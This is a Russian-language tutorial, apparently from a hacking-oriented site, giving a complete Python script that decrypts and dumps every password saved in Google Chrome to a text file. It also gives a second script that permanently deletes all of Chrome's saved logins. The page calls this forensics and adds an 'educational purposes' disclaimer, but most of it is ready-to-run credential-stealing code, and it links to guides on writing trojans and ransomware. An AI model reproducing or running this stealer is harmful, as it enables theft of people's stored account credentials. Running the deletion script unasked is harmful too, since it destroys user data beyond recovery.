Извлечение паролей из браузеров — важная задача в области компьютерной экспертизы (форензика). Сегодня покажу, как вытащить пароли Chrome с помощью на Python. В конце я также покажу, как используя Python удалить сразу все пароли сохраненные в Chrome.
Еще по теме: Брут FTP на Python
Извлечение паролей из Chrome на Python
Для начала установите необходимые библиотеки:
1 |
$ pip install pycryptodome pypiwin32 |
Создайте файл на Python с именем chromepass.py и импортируйте необходимые модули:
1 2 3 4 5 6 7 8 9 |
import os import json import base64 import sqlite3 import win32crypt import shutil import sys from Crypto.Cipher import AES from datetime import datetime, timedelta |
Прежде чем приступить к извлечению паролей Chrome, определим несколько полезных функций, которые помогут нам в основной функции:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
def get_chrome_datetime(chromedate): return datetime(1601, 1, 1) + timedelta(microseconds=chromedate) def get_encryption_key(): local_state_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "Local State") with open(local_state_path, "r", encoding="utf-8") as f: local_state = f.read() local_state = json.loads(local_state) key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) key = key[5:] return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1] def decrypt_password(password, key): try: iv = password[3:15] password = password[15:] cipher = AES.new(key, AES.MODE_GCM, iv) return cipher.decrypt(password)[:-16].decode() except: try: return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1]) except: return "" |
Функция get_chrome_datetime() отвечает за преобразование формата даты Chrome в понятный формат даты и времени.
Статья в образовательных целях, для обучения этичных хакеров. Несанкционированный взлом компьютеров и кража данных незаконны и считаются уголовным преступлением. Ни редакция spy-soft.net, ни автор не несут ответственности за ваши действия.
Функция get_encryption_key() извлекает и расшифровывает ключ AES, используемый для шифрования паролей. Он хранится как файл JSON папке:
1 |
%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Local State |
Функция decrypt_password()принимает зашифрованный пароль и ключ AES в качестве аргументов и возвращает расшифрованную версию пароля.
Основная функция:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
def main(output_file): key = get_encryption_key() db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "default", "Login Data") filename = "ChromeData.db" shutil.copyfile(db_path, filename) db = sqlite3.connect(filename) cursor = db.cursor() cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created") with open(output_file, "w") as f: for row in cursor.fetchall(): origin_url = row[0] action_url = row[1] username = row[2] password = decrypt_password(row[3], key) date_created = row[4] date_last_used = row[5] if username or password: print(f"Origin URL: {origin_url}", file=f) print(f"Action URL: {action_url}", file=f) print(f"Username: {username}", file=f) print(f"Password: {password}", file=f) else: continue if date_created != 86400000000 and date_created: print(f"Creation date: {str(get_chrome_datetime(date_created))}", file=f) if date_last_used != 86400000000 and date_last_used: print(f"Last Used: {str(get_chrome_datetime(date_last_used))}", file=f) print("=" * 50, file=f) cursor.close() db.close() try: os.remove(filename) except: pass if __name__ == "__main__": output_file = sys.argv[1] main(output_file) |
Скрипт:
- Получает ключ шифрования из файла Local State Chrome.
- Копирует базу данных паролей Chrome ( Login Data) в локальный файл ChromeData.db.
- Устанавливает соединение с этой базой данных и выполняет SQL-запрос для извлечения данных о паролях.
- Дешифрует пароли, используя полученный ключ, и сохраняет результаты в указанный выходной файл.
- Также записывает даты создания и последнего использования паролей, если они доступны.
- После выполнения задачи, код закрывает базу данных и удаляет временный файл ChromeData.db.
Запустим программу для извлечения паролей Chrome:
1 |
$ python chromepass.py credentials.txt |
Файл будет содержать все пароли Google Chrome (в моем случае — это левые учетные данные):
Удаление паролей из Chrome на Python
Как видите, любой, имея доступ к компьютеру сможет извлечь все сохраненные пароли Chrome. Чтобы это избежать, рекомендую не сохранять пароли в браузере, а если у вас уже есть сохраненные пароли, вот как удалить их из таблицы logins:
1 2 3 4 5 6 7 8 9 10 11 12 |
import sqlite3 import os db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "default", "Login Data") db = sqlite3.connect(db_path) cursor = db.cursor() cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created") n_logins = len(cursor.fetchall()) print(f"Удаление {n_logins} записей о входе...") cursor.execute("delete from logins") cursor.connection.commit() |
Перед запуском, закройте браузер Chrome.
Следует помнить, что после выполнения скрипта все пароли будут безвозвратно удалены!
Теперь, когда вы откроете Chrome, заметите, что автозаполнение в формах входа больше не будет работать.
В следующей статье покажу, как извлечь кукисы Chrome.
- Как написать троян на Python
- Как написать шифровальщик на Python
- Как удаленно украсть и расшифровать пароли Firefox
list index out of range что делать?